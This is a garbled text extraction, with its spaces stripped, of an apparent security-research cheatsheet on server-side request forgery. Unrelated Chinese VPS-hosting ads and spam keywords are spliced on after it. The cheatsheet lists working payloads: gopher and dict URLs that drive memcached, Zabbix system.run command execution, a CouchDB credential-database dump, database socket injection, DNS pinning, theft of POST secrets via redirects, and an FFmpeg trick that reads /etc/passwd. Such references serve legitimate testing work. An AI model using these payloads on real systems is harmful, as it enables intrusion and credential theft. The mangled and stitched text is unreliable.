SSRFbible.
CheatsheetRevision1.
0326Jan2017Authors:@Wallarm@d0znppresearchteamWallarm.
com|lab.
wallarm.
comTryournewproduct.
WallarmFAST:securitytestsfromtraffichttps://wallarm.
com/wallarm-fast/wallarm.
com1TableofcontentsTableofcontentsBasicsTypicalattackstepsFileDescriptorsexploitationwayURLschemasupportProtocolsSSRFsmugglingSmugglingexamplesApacheweb-serverHTTPparserNginxweb-serverHTTPparserVulnerabilitiesBasicsExamplesGoogleDocsZeroNightshackquestchallengeExploitationtricksBypassingrestrictionsInputvalidationUnsaferedirectDNSpinningDNSpinningraceconditionPHPfsockopen()urlparsingtricksNetworkrestrictionsProtocolfingerprintingExamplesHTTPMemcachedRetrievingdataExamplesHTTPresponseencapsulationintoXMLformattedresponseConsolecURLwildcardsURLresponsesconcatenationSMBRelayexploitationOriginalrequestdatasniffingExamplesMemcachedwallarm.
com2ExploitsPHP-FPMSyslogExploitsZabbixagentdExploitsPostgresExploitsMongoDBRedisCouchDBExploitsFFmpegReferencesToolsResearcheswallarm.
com3BasicsSSRF-ServerSideRequestForgeryattacks.
Theabilitytocreaterequestsfromthevulnerableservertointra/internet.
UsingaprotocolsupportedbyavailableURIschemas,youcancommunicatewithservicesrunningonotherprotocols.
Herewecollectthevariousoptionsandexamples(exploits)ofsuchinteraction.
Seeforintroductionrelatedresearches.
Typicalattacksteps1.
Scaninternalnetworktodetermineinternalinfrastructurewhichyoumayaccess2.
Collectopenedportsatlocalhostandotherinternalhostswhichyouwant(basicallybytime-baseddetermination)3.
Determineservices/daemonsonportsusingwikiordaemonsbanners(ifyoumaywatchoutput)4.
DeterminetypeofyouSSRFcombination:Directsocketaccess(suchasthisexample)Socketsclient(suchasjavaURI,cURL,LWP,others)5.
IncaseofdirectsocketaccessdetermineCRLFandotherinjectionsforsmuggling6.
Incaseofsocketsclient,determineavailableURIschemas7.
Compareavailableschemasandservices/daemonsprotocolstofindsmugglingpossibilities8.
Determinehost-basedauthdaemonsandtrytoexploititFileDescriptorsexploitationwayUsefulinclouds,sharedhostingsandotherslargeinfrastructures.
Firstreadslides20-21aboutFDsand22-23aboutProcFSfromthispaper.
TherearethreewaystoaccesstoFDs:InterpretersAPI(suchasfd://wrapperforPHP)IftherearenosuchAPIorrequiredfunctionsdisabled,youcantrytoloadnativeextension:PHP(requiredlopen,butnotexec):https://github.
com/dhotson/fdopen-phpexec()callfromAPI(suchasexec('echo123>&');)youmayaccessonlyFDswithoutO_CLOEXECflag.
CprogramtoscanavailableFDsishere:https://github.
com/ONsec-Lab/scripts/blob/master/list-open-fd.
c.
ProcFSfiles(/proc//fd/)*Note,thatyoucannotaccesstosocketsthrough/proc//fd/files!
wallarm.
com4URLschemasupportPHPJavacURLLWPASP.
NET1gopherenableby--with-curlwrappersbeforelastpatchesw/o\0char+ASP.
NETloadXML($resp);//echo$resp.
"nn";echo$doc->getElementsByTagName("error")->item(0)->nodeValue;if(libxml_get_errors()!
=null){print_r(libxml_get_errors());}>wallarm.
com9ExploitationtricksBypassingrestrictionsBasicallyrestrictionswhichyoumayfindinSSRFexploitationcanbesplitintotwogroups:Inputvalidation(suchasregularexpressionURLfilter)Networkrestrictions(firewallsrules)InputvalidationUnsaferedirectEasywaytobypassinputvalidationisURLredirection.
HTTPclientsnotabrowsers.
Therearenormallytodounsaferedirect(exceptofJavacase).
WorksfineforcURL,LWP,ASP.
NET(exploit:http://anyhostwithredirest.
com/->gopher://localhost:11211/1stats%0aquit).
DNSpinningTobypassdomainvalidationyoumaysimpleusepinningtechnique.
Forexample,defineAorAAAArecordsonyourDNSservertoyoursubdomainsintovictim'sintranet:$nslookuplocal.
oxod.
ruNon-authoritativeanswer:Name:local.
oxod.
ruAddress:127.
0.
0.
18.
8.
8.
8(somethingwhitelistedinvalidate_domainfunction)Andthesecondresponsecouldlookslike:evil.
com->127.
0.
0.
1PHPfsockopen()urlparsingtricks3.
php]]>//validfooterforreadableformatwallarm.
com14SMBRelayexploitationThistechniquedescribedinrelatedresearch"SSRF+Java+Windows=Love".
IncaseofJava-basedapplicationonOSWindowstarget,attackercanexecuteanNTLMrelayattackoverHTTP.
It'spossiblebecauseJavahasaninternalHTTP-client,whichsupportsNTLMauthenticationbydefault.
OriginalrequestdatasniffingInmanycasesthereareusefultosniffdataofinitialrequestusingSSRF.
ItsmaybeOAuthtokens,basicauthcredential,POSTbodiesandothers.
Thisproblemcanbesolvedifyouhavetheabilitytomodifytheserver'sresponse.
Youmustbeinfluencetheresponsefromaoneserver,onreceiptofarequestfromanotherserver.
Itwilllooklikeopen-redirect(WASC-38)orresponsesplitting/smuggling(WASC-25,WASC-27),butthereareserver'shttplibrarysuchascURLinsteadoftheuser'sbrowser.
307HTTPstatus(TemporaryRedirectExplained)andotherscanbeusedtoretrieveoriginalPOSTbody.
TableofPOSTredirection:Lib/Status300301302303304305306307308cURLOKOKOKOK-LWPPHPwallarm.
com15Example:$url="http://localhost/tests/redir.
phps={$_GET['s']}&r=http://localhost:8000/";$ch=curl_init($url);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,"key=secret");$resp=curl_exec($ch);Youcansteal"key=secret"databyusingopenredirectvulnerabilitywithresponsestatuses300,305,306,307orbyhttpresponsesplitting/httpheaderinjectionvulnerabilities.
AndtherearenowaystostealsecretinLWPcase:usestrict;usewarnings;my$b=LWP::UserAgent->new;my$u='http://localhost/tests/redir.
phps=307&r=http://localhost:8000/a';$b->post($u,{'key'=>'secret'});wallarm.
com16ExamplesSSRFalsoopenagatetovariousNoSQLattackssuchasServer-SideJavaScriptinjections.
MemcachedProtocoldocumentation:https://github.
com/memcached/memcached/blob/master/doc/protocol.
txtExploitationsteps:1.
collectallkeys2.
determineinterestingkeys3.
replacekey'svaluestoarbitraryExploitationstechniques:FindHTMLtemplatesandinjectJSloginsniffertocollectlogin/passwordsFinddynamictemplates(macros,PHP,others)andinjectarbitrarycode(RCE)FindyoursessionandescalateyourprivilegesCreatenewsessionwithlongexpirationandsetadminprivilegesExploitsgopher://localhost:11211/1%0astats%0aquitdict://locahost:11211/statsldap://localhost:11211/%0astats%0aquitPHP-FPMExploitlocalinstallationtobypassrestrictionssuchassafe_modeandothershttp://pastebin.
com/XP2BYmR7.
Payyourattention,it'sreallyusefullattackvector!
wallarm.
com17SyslogTypicallyUDPbutreallycommonlistenonTCPport514.
Youmayaddstringstosyslogeasily.
Exploithttp://string-that-you-want-to-add.
evil.
com:514/FirstconfigureDNStoresolvestring-that-you-want-to-add.
evil.
comas127.
0.
0.
1HTTPrequest:GET/aHTTP/1.
1Host:string-that-you-want-to-add.
evil.
com:8000Connection:Keep-AliveSyslogentities:Nov2300:53:50localhostHost:string-that-you-want-to-add.
evil.
com:8000#015Nov2300:53:50localhostConnection:Keep-Alive#015Nov2300:53:50localhost#015It'susefulthingtoexploitalotofmonitoringsystemsbyaclient-sideissueslikeXSS.
Justbecausethedatafromsysloglookslikeaverifieddataforit.
CRLFinjectionmakesyslogentitiesmoreclear(seebelow).
Exploitsdict://localhost:514/ALARM!
!
!
ldap://localhost:514/\r\nALARM!
!
!
(LWPonly)Syslogentities:Nov2300:53:50localhostALARM!
!
!
#015ZabbixagentdZabbixisverycommonmonitoringsystem.
Monitoredserversrunningzabbix_agentdbinarywhichconfiguredby/etc/zabbix/zabbix_agentd.
conffile.
Defaultlistenedportis10050.
Zabbixagentdhaveonlyhost-basedauthorization,describedinconfigfile:Server=127.
0.
0.
1,monitor.
trusted.
network.
netTherearetypicallytoinclude127.
0.
0.
1intoauthorizedserversbydebuggingreasonsandbydefault.
Agentdprotocolisplain/textandsimple:"\n"usingaslineterminatorandpacketformatis"item[key]".
Allavailableitemslistedbelow:http://www.
zabbix.
com/documentation/1.
8/manual/config/items.
Zabbixagentdclosesocketafterfirstmalformedline(requestunexistingkeyforexample).
Soyoucan'tusesmugglingiffirstlineofrequestisnotcontrolledbyyou.
wallarm.
com18Sometimesagentdconfiguredtorunarbitrarycommandsfromservers(itemsystem.
ruusedtoruncommandsfromkeyargument):EnableRemoteCommands=1Exploitsgopher://localhost:10050/1vfs.
file.
regexp[/etc/hosts,7]Serverresponse:ZBXD127.
0.
0.
1localhostads.
localhostlocalhost.
vvasd.
localhost.
vvgopher://localhost:10050/1system.
run[ls]Serverresponse:ZBXD,usretcvarbootPostgresAnyfunctionswhichcanopensocketsandwriteuser'sdataintoitcanbeexploitedforSSRF.
Suchasfunctionstoexternaldatabaseconnectionswhichprovidedbyallmoderndatabases(DB2/Oracle/Postgres/etc).
AttackermayusethisfunctionsthroughSQLinjectiontoexploitanythinginintranet.
DBLINKdesciption:http://www.
postgresql.
org/docs/8.
4/static/dblink.
html.
Syntaxofconnectionstringavailablehere:http://www.
postgresql.
org/docs/8.
4/static/libpq-connect.
htmlExploitsSELECTdblink_send_query('host=127.
0.
0.
1dbname=quituser=\'\nstats\n\'password=1port=11211sslmode=disable','selectversion();');wallarm.
com19MongoDBAttackermayusedifferentinternalfunctions,suchascopyDatabase()andotherstoopenarbitrarysocketandputsarbitrarydataintoit.
ExploitsWritebinarydataintosocket:>db.
copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')$nc-l8000|hexdump-C000000003b0000002800000000000000d40700000000001000000000010203040506072e73797374syst|00000020656d2e6e616d65737061636573000000|em.
namespaces.
.
.
|Communicatewithmemcached:>db.
copyDatabase("\nstats\nquit",'test','localhost:11211')RedisThereisamanycommandsinRediswhichcanhelpswithanSSRFwork:SLAVEOFhostportMIGRATEhostportkey…(MIGRATE192.
168.
1.
346379""05000KEYSkey1key2key3)CONFIGSET.
.
.
wallarm.
com20CouchDBCouchDBisreallycooltargetforSSRFattacks.
ThereareHTTPRESTAPIwhichprovideattackertoexploititusingonlyvalidHTTPrequestswithoutanysmuggling.
APIdetails:http://wiki.
apache.
org/couchdb/Complete_HTTP_API_Reference.
POST/PUT/DELETErequestsmaybeforgedalsobysmugglingtechniquestoexecuteserver-sideJScodeforexample.
Exploitshttp://localhost:5984/_users/_all_docstosteal_usersdatabasewithcredentials:HTTP/1.
1200OKServer:CouchDB/1.
2.
0(ErlangOTP/R15B01)ETag:"BD1WV12007V05JTG4X6YHIHCA"Date:Tue,18Dec201221:39:59GMTContent-Type:text/plain;charset=utf-8Cache-Control:must-revalidate{"total_rows":1,"offset":0,"rows":[{"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb930"}}]}Thisexampletestedondebianstableinstallationfrompackagewithoutanyadditionalconfiguration.
Toexecuteserver-sideJSwithrestrictions(server-sideJSissandboxed,nonetwork,IOnoraccessoutsidetheprovideddocumentandfunctions)youmayuseViewAPI.
ThistechniquewasdescribedatBHUS11inthispaperforweb-applicationbasedinjection.
Readthisfirst:http://wiki.
apache.
org/couchdb/HTTP_view_APIAttackercouldalsosendrequestsfromCouchDBservertointranetbyusingreplicationfunction(http://docs.
couchdb.
org/en/stable/api/server/common.
html#replicate).
POSThttp://couchdb:5984/_replicateContent-Type:application/jsonAccept:application/json{"source":"recipes","target":"http://ssrf-me:11211/recipes",}wallarm.
com21FFmpegM38ufileformatprovidessomeusefulmacroscalled"EXTINF".
ThismacrosallowsattackertoreadarbitraryfilesanddoSSRFattacks.
Let'slookatsomebeautifulexampleslistedbelow:$catvideo.
mp4#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.
0,concat:http://example.
org/header.
y4m|file:///etc/passwd#EXT-X-ENDLIST$ffmpeg-ivideo.
mp4thumbnail.
png$ffmpeg-ithumbnail.
pngout.
y4m$catout.
y4mYUV4MPEG2W30H30F25:1IpA0:0CmonoFRAME#$FreeBSD:release/10.
0.
0/etc/master.
passwd256366,!
2013-10-1206:08:18Zrpaulo$#root:*:0:0:Charlie&:/root:/usr/local/bin/zshtoor:*:0:0:Bourne-againSuperuser:/root:Originallink:https://bugs.
launchpad.
net/ubuntu/+source/ffmpeg/+bug/1533367wallarm.
com22References1.
http://en.
wikipedia.
org/wiki/URI_scheme2.
http://en.
wikipedia.
org/wiki/List_of_TCP_and_UDP_port_numbers3.
http://msdn.
microsoft.
com/en-us/library/system.
uri.
scheme.
aspx4.
http://search.
cpan.
org/~gaas/libwww-perl-6.
04/lib/LWP.
pm5.
http://php.
net/manual/en/wrappers.
php6.
http://docs.
oracle.
com/javase/1.
5.
0/docs/api/javax/print/attribute/standard/ReferenceUriSchemesSupported.
html7.
http://www.
kernel.
org/doc/man-pages/online/pages/man2/open.
2.
html8.
http://media.
blackhat.
com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.
pdf9.
http://www.
nostarch.
com/download/tangledweb_ch3.
pdfTools1.
https://github.
com/ONsec-Lab/scripts/blob/master/list-open-fd.
cResearches21.
http://www.
shmoocon.
org/2008/presentations/Web%20portals,%20gateway%20to%20information.
ppt2.
http://www.
slideshare.
net/d0znpp/xxe-advanced-exploitation3.
http://www.
slideshare.
net/d0znpp/caro2012-attack-largemodernwebapplications4.
http://media.
blackhat.
com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.
pdf5.
http://erpscan.
com/wp-content/uploads/2012/11/SSRF.
2.
0.
poc_.
pdf6.
http://www.
riyazwalikar.
com/2012/11/cross-site-port-attacks-xspa-part-2.
html7.
http://www.
slideshare.
net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities8.
http://erpscan.
com/press-center/smbrelay-bible-7-ssrf-java-windows-love/9.
https://bugs.
launchpad.
net/ubuntu/+source/ffmpeg/+bug/15333672Sortedbydatewallarm.
com23
ATCLOUD.NET怎么样?ATCLOUD.NET主要提供KVM架构的VPS产品、LXC容器化产品、权威DNS智能解析、域名注册、SSL证书等海外网站建设服务。 其大部分数据中心是由OVH机房提供,其节点包括美国(俄勒冈、弗吉尼亚)、加拿大、英国、法国、德国以及新加坡。 提供超过480Gbps的DDoS高防保护,杜绝DDoS攻击骚扰,比较适合海外建站等业务。官方网站:点击访问ATCLOUD官网活...
ShockHosting商家在前面文章中有介绍过几次。ShockHosting商家成立于2013年的美国主机商,目前主要提供虚拟主机、VPS主机、独立服务器和域名注册等综合IDC业务,现有美国洛杉矶、新泽西、芝加哥、达拉斯、荷兰阿姆斯特丹、英国和澳大利亚悉尼七大数据中心。这次有新增日本东京机房。而且同时有推出5折优惠促销,而且即刻使用支付宝下单的话还可获赠10美金的账户信用额度,折扣相比之前的常规...
A400互联是一家成立于2020年的商家,主要推行洛杉矶服务器采用kvm架构,线路优质,延迟低,稳定性高!全场产品对标腾讯云轻量,服务器线路有有美国洛杉矶cn2_gia、香港cn2+cmi,目前推行的vps服务器均为精心挑选的优质线路机房,A400互联推出了夏季优惠洛杉矶5折、香港7折促销活动,质量可靠,价格实惠!二:优惠码洛杉矶五折优惠码:20210620香港cn2七折优惠码:0710三、优惠方...
pastebin.com为你推荐
Baby被问婚变绯闻终于知道黄晓明为什么会娶baby西部妈妈网啊,又是星期天7788k.comwww.k6320.com 大家给我看看这网站是真是假...百花百游“百花竟放贺阳春 万物从今尽转新 末数莫言穷运至 不知否极泰来临”是什么意思啊?mole.61.com摩尔大陆?????qq530.com求教:如何下载http://www.qq530.com/ 上的音乐www.javmoo.comjavimdb是什么网站为什么打不开www.mywife.ccmywife哪部最经典杨丽晓博客杨丽晓是怎么 出道的dadi.tvApple TV是干嘛的?怎么用?多少钱?
万网虚拟主机 广东服务器租用 vps是什么意思 sharktech justhost raksmart 百度云100as 外国服务器 缓存服务器 美国php主机 php探针 网站实时监控 怎么测试下载速度 河南m值兑换 tna官网 免费私人服务器 上海电信测速网站 lick 阿里云免费邮箱 net空间 更多